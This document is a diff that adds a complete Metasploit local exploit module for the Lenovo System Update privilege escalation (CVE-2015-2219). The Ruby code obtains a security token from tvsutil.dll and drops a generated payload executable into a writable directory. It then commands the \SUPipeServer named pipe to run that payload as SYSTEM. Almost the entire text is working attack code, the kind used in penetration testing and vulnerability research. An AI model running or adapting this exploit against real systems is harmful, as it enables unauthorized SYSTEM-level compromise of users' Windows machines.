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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class Metasploit3 < Msf::Exploit::Local |
| 7 | + include Msf::Exploit::EXE |
| 8 | + include Msf::Post::File |
| 9 | + include Msf::Exploit::FileDropper |
| 10 | + include Msf::Post::Windows::Priv |
| 11 | + include Msf::Post::Windows::Services |
| 12 | + |
| 13 | + Rank = ExcellentRanking |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, { |
| 17 | + 'Name' => 'Lenovo System Update Privilege Escalation', |
| 18 | + 'Description' => %q{ |
| 19 | + The named pipe, \SUPipeServer, can be accessed by normal users to interact with the |
| 20 | + System update service. The service provides the possibility to execute arbitrary |
| 21 | + commands as SYSTEM if a valid security token is provided. This token can be generated |
| 22 | + by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the |
| 23 | + System Update is stopped by default but can be started/stopped calling the Executable |
| 24 | + ConfigService.exe. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Micahel Milvich', # vulnerability discovery, advisory |
| 30 | + 'Sofiane Talmat', # vulnerability discovery, advisory |
| 31 | + 'h0ng10' # Metasploit module |
| 32 | + ], |
| 33 | + 'Arch' => ARCH_X86, |
| 34 | + 'Platform' => 'win', |
| 35 | + 'SessionTypes' => ['meterpreter'], |
| 36 | + 'DefaultOptions' => |
| 37 | + { |
| 38 | + 'EXITFUNC' => 'thread', |
| 39 | + }, |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'Windows', { } ] |
| 43 | + ], |
| 44 | + 'Payload' => |
| 45 | + { |
| 46 | + 'Space' => 2048, |
| 47 | + 'DisableNops' => true |
| 48 | + }, |
| 49 | + 'References' => |
| 50 | + [ |
| 51 | + ['OSVDB', '121522'], |
| 52 | + ['CVE', '2015-2219'], |
| 53 | + ['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf'] |
| 54 | + ], |
| 55 | + 'DisclosureDate' => 'Apr 12 2015', |
| 56 | + 'DefaultTarget' => 0 |
| 57 | + })) |
| 58 | + |
| 59 | + register_options([ |
| 60 | + OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']), |
| 61 | + OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]), |
| 62 | + ], self.class) |
| 63 | + |
| 64 | + end |
| 65 | + |
| 66 | + def check |
| 67 | + os = sysinfo['OS'] |
| 68 | + |
| 69 | + unless os =~ /windows/i |
| 70 | + return Exploit::CheckCode::Safe |
| 71 | + end |
| 72 | + |
| 73 | + svc = service_info('SUService') |
| 74 | + if svc && svc[:display] =~ /System Update/ |
| 75 | + vprint_good("Found service '#{svc[:display]}'") |
| 76 | + return Exploit::CheckCode::Appears |
| 77 | + else |
| 78 | + return Exploit::CheckCode::Safe |
| 79 | + end |
| 80 | + end |
| 81 | + |
| 82 | + |
| 83 | + def write_named_pipe(pipe, command) |
| 84 | + invalid_handle_value = 0xFFFFFFFF |
| 85 | + |
| 86 | + r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0) |
| 87 | + handle = r['return'] |
| 88 | + |
| 89 | + if handle == invalid_handle_value |
| 90 | + fail_with(Failure::NoTarget, "#{pipe} named pipe not found") |
| 91 | + else |
| 92 | + vprint_good("Opended #{pipe}! Proceeding...") |
| 93 | + end |
| 94 | + |
| 95 | + begin |
| 96 | + |
| 97 | + # First, write the string length as Int32 value |
| 98 | + w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil) |
| 99 | + |
| 100 | + if w['return'] == false |
| 101 | + print_error('The was an error writing to pipe, check permissions') |
| 102 | + return false |
| 103 | + end |
| 104 | + |
| 105 | + # Then we send the real command |
| 106 | + w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil) |
| 107 | + |
| 108 | + if w['return'] == false |
| 109 | + print_error('The was an error writing to pipe, check permissions') |
| 110 | + return false |
| 111 | + end |
| 112 | + ensure |
| 113 | + session.railgun.kernel32.CloseHandle(handle) |
| 114 | + end |
| 115 | + true |
| 116 | + end |
| 117 | + |
| 118 | + |
| 119 | + def get_security_token(lenovo_directory) |
| 120 | + unless client.railgun.get_dll('tvsutil') |
| 121 | + client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll") |
| 122 | + client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl') |
| 123 | + end |
| 124 | + |
| 125 | + dll_response = client.railgun.tvsutil.GetSystemInfoData(256) |
| 126 | + |
| 127 | + dll_response['systeminfo'][0,40] |
| 128 | + end |
| 129 | + |
| 130 | + |
| 131 | + def config_service(lenovo_directory, option) |
| 132 | + cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}") |
| 133 | + end |
| 134 | + |
| 135 | + |
| 136 | + def exploit |
| 137 | + if is_system? |
| 138 | + fail_with(Failure::NoTarget, 'Session is already elevated') |
| 139 | + end |
| 140 | + |
| 141 | + su_directory = service_info('SUService')[:path][1..-16] |
| 142 | + print_status('Starting service via ConfigService.exe') |
| 143 | + config_service(su_directory, 'start') |
| 144 | + |
| 145 | + print_status('Giving the service some time to start...') |
| 146 | + Rex.sleep(datastore['Sleep']) |
| 147 | + |
| 148 | + print_status("Getting security token...") |
| 149 | + token = get_security_token(su_directory) |
| 150 | + vprint_good("Security token is: #{token}") |
| 151 | + |
| 152 | + if datastore['WritableDir'].nil? || datastore['WritableDir'].empty? |
| 153 | + temp_dir = get_env('TEMP') |
| 154 | + else |
| 155 | + temp_dir = datastore['WritableDir'] |
| 156 | + end |
| 157 | + |
| 158 | + print_status("Using #{temp_dir} to drop the payload") |
| 159 | + |
| 160 | + begin |
| 161 | + cd(temp_dir) |
| 162 | + rescue Rex::Post::Meterpreter::RequestError |
| 163 | + fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory") |
| 164 | + end |
| 165 | + |
| 166 | + print_status('Writing malicious exe to remote filesystem') |
| 167 | + write_path = pwd |
| 168 | + exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" |
| 169 | + |
| 170 | + begin |
| 171 | + write_file(exe_name, generate_payload_exe) |
| 172 | + register_file_for_cleanup("#{write_path}\\#{exe_name}") |
| 173 | + rescue Rex::Post::Meterpreter::RequestError |
| 174 | + fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}") |
| 175 | + end |
| 176 | + |
| 177 | + print_status('Sending Execute command to update service') |
| 178 | + |
| 179 | + begin |
| 180 | + write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}") |
| 181 | + rescue Rex::Post::Meterpreter::RequestError |
| 182 | + fail_with(Failure::Unknown, 'Failed to write to pipe') |
| 183 | + end |
| 184 | + |
| 185 | + unless write_res |
| 186 | + fail_with(Failure::Unknown, 'Failed to write to pipe') |
| 187 | + end |
| 188 | + |
| 189 | + print_status('Stopping service via ConfigService.exe') |
| 190 | + config_service(su_directory, 'stop') |
| 191 | + end |
| 192 | + |
| 193 | +end |
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